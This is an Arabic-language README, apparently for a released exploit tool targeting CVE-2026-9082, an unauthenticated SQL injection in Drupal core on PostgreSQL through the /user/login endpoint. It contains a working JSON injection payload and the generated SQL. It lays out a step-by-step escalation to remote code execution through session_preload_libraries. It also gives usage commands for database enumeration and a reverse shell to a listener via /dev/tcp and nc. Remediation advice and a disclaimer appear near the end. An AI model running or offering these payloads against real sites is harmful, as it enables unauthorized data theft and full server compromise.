
Drupal Core PostgreSQL SQLi إلى RCE عبر /user/login (CVE-2026-9082 / SA-CORE-2026-004)
حقن SQL غير مصادق عليه في نواة دروبال على PostgreSQL عبر POST /user/login، مع التصعيد إلى تنفيذ أوامر عن بُعد من خلال PostgreSQL session_preload_libraries.
على عكس الاستغلالات العامة الموجودة التي تستهدف JSON:API، يستخدم هذا الاستغلال نقطة تسجيل الدخول — المتاحة دائماً، بدون الحاجة إلى وحدات أو محتوى منشور.
تنبيه: SA-CORE-2026-004 | المخاطرة: 23/25 (حرجة للغاية) | CISA KEV
فقط مواقع دروبال المدعومة بـ PostgreSQL معرضة للخطر.
| الفرع | معرض للخطر | مُصحح |
|---|---|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | الكل | نهاية العمر - الترقية |
يقوم معالج شرط استعلام الكيان في PostgreSQL بدروبال (core/modules/pgsql/src/EntityQuery/Condition.php) ببناء شروط IN غير حساسة لحالة الأحرف عن طريق تكرار $condition['value'] كمصفوفة ترابطية وربط مفاتيح يتحكم بها المهاجم مباشرة في معرفات العناصر النائبة لـ PDO — يحتوي SQL المُنشأ على LOWER(:<prefix><key>) حيث يأتي <key> كما هو من المهاجم.
لا يتم الوصول إلى هذا المسار البرمجي إلا عند تحقق شرطين: is_array($condition['value']) و $case_sensitive === FALSE. لهذا السبب فقط PostgreSQL متأثر — لا تحتوي MySQL و SQLite على هذا الفرع LOWER() غير الحساس لحالة الأحرف.
يتعرف محلل المعلمات المُسماة في PDO فقط على [a-zA-Z0-9_] بعد :. الأحرف خارج هذه المجموعة (مثل | أو )) تنهي رمز العنصر النائب. لذا فإن مفتاحاً مثل 0||(استعلام فرعي) يُنتج عنصراً نائباً :prefix0 (مشترك مع المفتاح الشرعي 0) بالإضافة إلى SQL حرفي ||(استعلام فرعي) يصل إلى PostgreSQL بدون معلمات.
الإصلاح هو استدعاء array_values() واحد يتجاهل المفاتيح التي قدمها المهاجم قبل توليد SQL.
/user/login)POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
يتم إرسال حقل name ككائن JSON بدلاً من سلسلة نصية. يمرره دروبال إلى شرط IN في استعلام الكيان مع مقارنة غير حساسة لحالة الأحرف. لكل مفتاح مصفوفة، يُنشئ دروبال LOWER(:<prefix><key>) في SQL. الاستعلام الناتج يبدو كالتالي:
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
يتعرف PDO على :users_field_data_name0 كعنصر نائب في كلا المدخلين (يتوقف عند | في الثاني)، ويربط كليهما بـ 'x'. يمر الباقي ||(SELECT ...) كـ SQL حرفي. بعد الاستبدال، يستقبل PostgreSQL:
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
يفشل CAST(... AS int) على البيانات غير الصحيحة، وتُسرّب رسالة الخطأ نتيجة الاستعلام.
عندما يكون مستخدم قاعدة البيانات هو مستخدم متميز لـ PostgreSQL، يمكن تصعيد حقن SELECT فقط إلى تنفيذ أوامر عن بُعد:
data_directory، حالة المستخدم المتميز.so أصلية مع _PG_init() تستدعي system().so إلى data_directory عبر الكائنات الكبيرة (lo_create -> lo_put -> lo_export)postgresql.auto.conf لتعيين session_preload_libraries و dynamic_library_pathpg_reload_conf()حقن SQL (cve_2026_9082_check.py):
تنفيذ الأوامر عن بُعد (cve_2026_9082_rce.py):
docker محلياً (للترجمة المتقاطعة على macOS)pip install -r requirements.txt
# التحقق من حقن SQL
python3 cve_2026_9082_check.py http://target:8081
# باستخدام وكيل (Burp, mitmproxy, إلخ.)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
# سرد جميع قواعد البيانات
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# سرد الجداول في قاعدة بيانات
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# سرد الأعمدة في جدول
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
# تنفيذ أمر
python3 cve_2026_9082_rce.py http://target:8081 "id"
# شل عكسي
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# مستمع
nc -lvnp 4444
## العرض التوضيحي
التحقق من SQLi ضد مثيل ضعيف:

تعداد قاعدة البيانات عبر الحقن المستند إلى الأخطاء:

التصعيد إلى تنفيذ الأوامر عن بُعد:

## المعالجة
**قم بتحديث دروبال فوراً** إلى إصدار مُصحح:
- 11.3.10، 11.2.12، 11.1.10، 10.6.9، 10.5.10، أو 10.4.10
إذا لم تتمكن من التحديث فوراً:
- قم بالتبديل إلى حساب قاعدة بيانات **غير متميز** لمنع تصعيد RCE
- راقب السجلات بحثاً عن طلبات `POST /user/login` غير طبيعية تحتوي على كائنات JSON في حقل `name`
التصحيحات والتفاصيل: [SA-CORE-2026-004](https://www.drupal.org/sa-core-2026-004)
## الجدول الزمني
| التاريخ | الحدث |
|---|---|
| 2026-05-20 | دروبال ينشر SA-CORE-2026-004، يتم إصدار التصحيحات |
| 2026-05-22 | استغلال نشط في البرية، تمت الإضافة إلى CISA KEV |
| 2026-05-26 | Ambionics ينشر تقنية SQLi-to-RCE عبر JSON:API |
| 2026-06-07 | إصدار هذه الأداة |
## الإسناد
- **تم الإبلاغ عن الثغرة بواسطة** [Michael Maturi](https://www.drupal.org/sa-core-2026-004)
- **متجه تسجيل الدخول** (`/user/login`) وصفه [bitk & jfellus](https://www.yeswehack.com/news/cve-2026-9082-postgresql-drupal) (YesWeHack)
- **تقنية RCE** (`session_preload_libraries`) بواسطة [N. Maccary / Ambionics](https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html) (Lexfo)
- **هذا التنفيذ** — RCE مُكيَّف لمتجه `/user/login` بواسطة r0m41n
## إخلاء مسؤولية
تم توفير هذه الأداة لأغراض **اختبار الأمن المصرح به** و **التعليم فقط**.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذا البرنامج. احصل دائماً على التصريح المناسب قبل اختبار الأنظمة التي لا تملكها.
pg_read_file()